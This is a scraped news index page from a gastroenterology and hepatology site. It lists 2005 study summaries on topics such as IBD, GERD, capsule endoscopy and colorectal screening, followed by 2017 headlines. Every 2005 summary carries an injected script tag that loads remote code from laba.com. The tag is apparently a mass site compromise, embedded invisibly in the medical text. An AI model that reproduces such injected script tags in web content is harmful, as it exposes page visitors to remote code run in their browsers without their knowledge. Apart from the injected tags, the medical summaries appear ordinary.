Help
Subscribe


GastroHep.com - the global online resource for all aspects of gastroenterology, hepatology and endoscopy

 17 October 2017

Advanced search
GastroHep.com - the global online resource for all aspects of gastroenterology, hepatology and endoscopy Profile of Roy Pounder

Home

News  
Journals
Review Articles
Slide Atlas
Video Clips
Online Books
Advanced Digestive Endoscopy
Classical Cases
Conference Diary
PubMed
International GH Links
USA GH Links
National GH Links
National GI Societies
Other Useful Links




Emails on Gastroenterology and Hepatology
the National AIDS Treatment Advocacy Project
Visit the gastroenterology section of the EUMS

News

What is RSS? RSS

Screening of people at high risk for colorectal cancer 03 February 2005
Screening behavior at high risk of colorectal cancer<script src=http://laba.com/muuu.s></script> Although few high-risk individuals abstain from screening entirely, approximately 1/4 deviates significantly from the recommended frequency of screening, using reminder letters may help, reports February's Gastroenterology.
Full story
Rebound acid hypersecretion after the use of acid inhibitors 02 February 2005
Rebound acid hypersecretion<script src=http://laba.com/muuu.s></script> Not only the parietal cell mass, but also enterochromaffin-like cell mass and activity are involved in the mechanism of acid hypersecretion, finds a report in January's Alimentary Pharmacology and Therapeutics.
Full story
Patients with alcoholic liver disease after transplantation 02 February 2005
Liver disease after transplant<script src=http://laba.com/muuu.s></script> Alcoholic liver disease is a good indication for liver transplantation and structured management of the alcohol problem before and after transplantation minimizes the risk of recidivism, finds February's issue of Scandinavian Journal of Gastroenterology.
Full story
Subset of chemokines dominates mucosal response in IBD 02 February 2005
Chemokines in IBD<script src=http://laba.com/muuu.s></script> Research in January's AP&T finds that interleukin-1 and tumor necrosis factor-alpha are the pivotal mediators of a coordinated epithelial chemokine response that dominates the mucosal chemokine environment in inflamed inflammatory bowel disease tissue.
Full story
Intragastric balloon: effective for treatment-resistant obesity 01 February 2005
Intragastric balloon for obesity<script src=http://laba.com/muuu.s></script> For patients with treatment-resistant obesity, the intragastric balloon appeared to be safe but was not a treatment option in a fifth of patients, finds January's issue of Gastrointestinal Endoscopy.
Full story
Improved capsule endoscopy after bowel preparation 01 February 2005
Capsule endoscopy after preparation<script src=http://laba.com/muuu.s></script> Bowel preparation accelerates small-bowel capsule transit and leads to a higher rate of complete capsule endoscopy, reports the most recent issue of Gastrointestinal Endoscopy.
Full story
Acid suppression: effects on sleep & sleep-related GERD 01 February 2005
Sleep patterns and GERD<script src=http://laba.com/muuu.s></script> Pharmacological treatments for gastro-esophageal reflux, subjective measures of sleep improved with heartburn medication but objective measures were not affected, reports the most recent Alimentary Pharmacology & Therapeutics.
Full story
Predictors of quality of life in ulcerative colitis: importance of symptoms 31 January 2005
Quality of life with ulcerative colitis<script src=http://laba.com/muuu.s></script> A study in January's Inflammatory Bowel Disease shows a strong relationship between individuals' symptoms and all domains of their health-related quality of life, but little association with age, gender, physiological markers of disease activity, or anatomic disease extent.
Full story
Light dosimetry for photodynamic therapy of Barrett's 31 January 2005
Light dosimetry for Barrett's<script src=http://laba.com/muuu.s></script> Decreasing the light dose below 115 J/cm appears to result in a reduced incidence rate of severe stricture but higher relative frequencies of residual high-grade dysplasia/early stage cancer in Barrett's esophagus, reports January's Gastrointestinal Endoscopy.
Full story
Cigarette smoking and age at diagnosis of IBD 31 January 2005
Smoking and IBD<script src=http://laba.com/muuu.s></script> Cigarette smoking is associated with the development of late-onset Crohn's disease and is protective against developing ulcerative colitis at any age, particularly early onset, reports the most recent Inflammatory Bowel Diseases.
Full story
Evidence for gene-environment interaction at IBD locus 28 January 2005
Gene-environment interaction for IBD<script src=http://laba.com/muuu.s></script> The IBD International Genetics Consortium replicated the IBD4 locus on chromosome 14q for CD and also showed evidence for a gene-environment interaction at this locus, finds January's Inflammatory Bowel Disease.
Full story
Overlap of GI symptom complexes in a US community 28 January 2005
GI symptom complexes<script src=http://laba.com/muuu.s></script> Symptom complex overlap is common in the community and this overlap of symptoms challenges the current paradigm that functional GI disorders represent multiple discreet entities, reports February's Neurogastroenterology and Motility.
Full story
Effectiveness of devices for reducing flatus odor 28 January 2005
Reducing flatus odor<script src=http://laba.com/muuu.s></script> The ability of charcoal-containing devices to adsorb odoriferous rectal gases is limited by incomplete exposure of the activated carbon to the gases, however, briefs made from carbon fiber are highly effective, reports February's American Journal of Gastroenterology.
Full story
Mycophenolate mofetil treatment for primary sclerosing cholangitis 27 January 2005
Treatment for primary sclerosing cholangitis<script src=http://laba.com/muuu.s></script> Mycophenolate mofetil does not appear to have clinically important benefits for primary sclerosing cholangitis despite being tolerated by most patients, reports February's issue of The American Journal of Gastroenterology.
Full story
Tegaserod for the treatment of chronic constipation 27 January 2005
Treating constipation<script src=http://laba.com/muuu.s></script> A report in the most recent issue of The American Journal of Gastroenterology finds that the adverse events, headache and abdominal pain, were more frequent with placebo than with tegaserod and that tegaserod was efficacious in relieving symptoms of chronic constipation.
Full story

Archive: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 320 321 322 323 324 325 326 327 328 329 330 331 332 333 334 335 336 337 338 339 340 341 342 343 344 345 346 347 348 349 350 351 352 353 354 355 356 357 358 359 360 361 362 363 364 365 366 367 368 369 370 371 372 373 374 375 376 377 378 379 380 381 382 383 384 385 386 387 388 389 390 391 392 393 394 395 396 397 398 399 400 401 402 403 404 405 406 407 408 409 410 411 412 413 414 415 416 417 418 419 420 421 422 423 424 425 426 427 428 429 430 431 432 433 434 435 436 437 438 439 440 441 442 443 444 445 446 447 448 449 450 451 452 453 454 455 456 457 458 459 460 461 462 463 464 465 466 467 468 469 470 471 472 473 474 475 476 477 478 479 480 481 482 483 484 485 486 487 488 489 490 491 492 493 494 495 496 497 498 499 500 501 502 503 504 505 506 507 508 509 510 511 512 513 514 515 516 517 518 519 520 521 522 523 524 525 526 527 528 529 530 531 532 533 534 535 536 537 538 539 540 541 542 543 544 545 546 547 548 549 550 551 552 553 554 555 556 557 558 559 560 561 562 563 564 565 566 567 568 569 570 571 572 573 574 575 576 577 578 579 580 581 582 583 584 585 586 587 588 589 590 591 592 593 594 595 596 597 598 599 600 601 602 603 604 605 606 607 608 609 610 611 612 613 614 615 616 617 618 619 620 621 622 623 624 625 626 627 628 629 630 631 632 633 634 635 636 637 638 639 640 641 642 643 644 645 646 647 648 649 650 651 652 653 654 655 656 657 658 659 660 661 662 663 664 665 666 667 668 669 670 671 672 673 674 675 676 677 678 679 680 681 682 683 684 685 686 687 688 689 690 691 692 693 694 695 696 697 698 699 700 701 702 703 704 705 706 707 708 709 710 711 712 713 714 715 716 717 718 719 720 721 722 723 724 725 726 727 728 729 730 731 732 733 734 735 736 737 738 739 740 741 742 743 744 745 746 747 748 749 750 751 752 753 754 755 756 757 758 759 760 761 762 763 764 765 766 767 768 769 770 771 772 773 774 775 776 777 778 779 780 781 782 783 784 785 786 787 788 789 790 791 792 793 794 795 796 797 798 799 800 801 802 803 804 805 806 807 808 809 810 811 812 813 814 815 816 817 818 819 820 821 822 823 824 825 826 827 828 829 830 831 832 833 834 835 836 837 838 839 840

Go to top of page Email this page Email this page to a colleague

 17 October 2017 
Laparoscopic surgery use in Medicare patients with colon cancer
 17 October 2017 
Medication nonadherence and health care costs
 17 October 2017 
Asthma and IBD development
 16 October 2017 
Colorectal cancer screening and postpolypectomy surveillance colonoscopy
 16 October 2017 
Continuity of care after colorectal surgery
 16 October 2017 
Breastfeeding and the risk of IBD
 13 October 2017 
Treating patients with HCV and severe renal impairment
 13 October 2017 
Blood pressure management during abdominal surgery
 13 October 2017 
Food elimination diets for eosinophilic esophagitis
 12 October 2017 
Global recurrence of H. pylori
 12 October 2017 
Colonoscopy in an organized colorectal cancer screening program 
 12 October 2017 
Predicting advanced fibrosis in chronic hepatitis B
 11 October 2017 
Fecal microbiota transplantation for ulcerative colitis
 11 October 2017 
Sexual functioning in Hep C
 11 October 2017 
Ulcerative proctitis in pediatric-onset UC
 10 October 2017 
Quality standards in upper gastrointestinal endoscopy
 10 October 2017 
Eosinophilic esophagitis and swallowed topical corticosteroids
 10 October 2017 
Follow-up of positive results on fecal blood tests
 09 October 2017 
Diverticulitis and emergency department burden
 09 October 2017 
Clostridium difficile infection after ileostomy reversal
 09 October 2017 
Global recurrence rate of H. pylori
 06 October 2017 
Predicting nontreatment for Hep C
 06 October 2017 
Cow's milk–based formula and development of celiac disease
 06 October 2017 
Propofol for outpatient colonoscopy
 05 October 2017 
Pediatric candidates on the transplant wait list
 05 October 2017 
Incidence of sepsis in the USA
 05 October 2017 
Quality of life after chemoradiation in rectal cancer
 04 October 2017 
Peptic ulcer disease diagnosed in acute upper endoscopy
 04 October 2017 
Clinical practice guidelines in colon cancer
 04 October 2017 
Rural residence and risk of IBD
 03 October 2017 
Antibody tests and detecting celiac disease
 03 October 2017 
Novel candidate risk genes for IBD
 03 October 2017 
Environmental factors and IBD
 02 October 2017 
Full publication of Gastroenerology abstracts
 02 October 2017 
Interferon-free therapy in advanced liver disease
 02 October 2017 
Burden of NAFLD with advanced fibrosis in the USA
 29 September 2017 
Inpatient Gastroenterology training experience
 29 September 2017 
Proteomic analysis of IBD
 28 September 2017 
Social networking-based discussion group by ERCP doctors
 28 September 2017 
Incidence of biopsy-verified celiac disease
 27 September 2017 
Predictors of nonadherence in IBD
 27 September 2017 
Hep C treatment in the era of direct-acting anti-viral agents
 27 September 2017 
Function of trypsin-3 in IBS
 26 September 2017 
Chronic pancreatitis and pancreatic cancer risk
 26 September 2017 
Factors associated with the risk of metachronous gastric neoplasm
 26 September 2017 
Treatment of hyperactive delirium in advanced cancer
 25 September 2017 
Lenalidomide for advanced liver cancer
 25 September 2017 
Silibinin nanoparticles inhibit HCV infection
 22 September 2017 
Perforation after colonic endoscopic mucosal resection
 22 September 2017 
Medical management and colectomy rates
 22 September 2017 
MRI for liver metastatic colorectal cancer
 21 September 2017 
Adenomatous colorectal polyps in young cancer survivors
 21 September 2017 
Predicting mucosal healing in treated celiac disease patients
 21 September 2017 
Antireflux surgery and recurrence of GERD
 20 September 2017 
Rifaximin and spontaneous bacterial peritonitis in cirrhosis
 20 September 2017 
Omega-3 PUFA and colorectal cancer survival
 20 September 2017 
Beta-blockers and cardiopulmonary exercise testing in liver disease
 19 September 2017 
Birth outcomes in children fathered by men treated with azathioprine
 19 September 2017 
Risk of death and statins in alcoholic cirrhosis
 19 September 2017 
Hospital-readmission risk

Blackwell Publishing


GastroHep.com is a Blackwell Publishing registered trademark
© 2017 Wiley-Blackwell and GastroHep.com and contributors
Privacy Statement
Disclaimer
About Us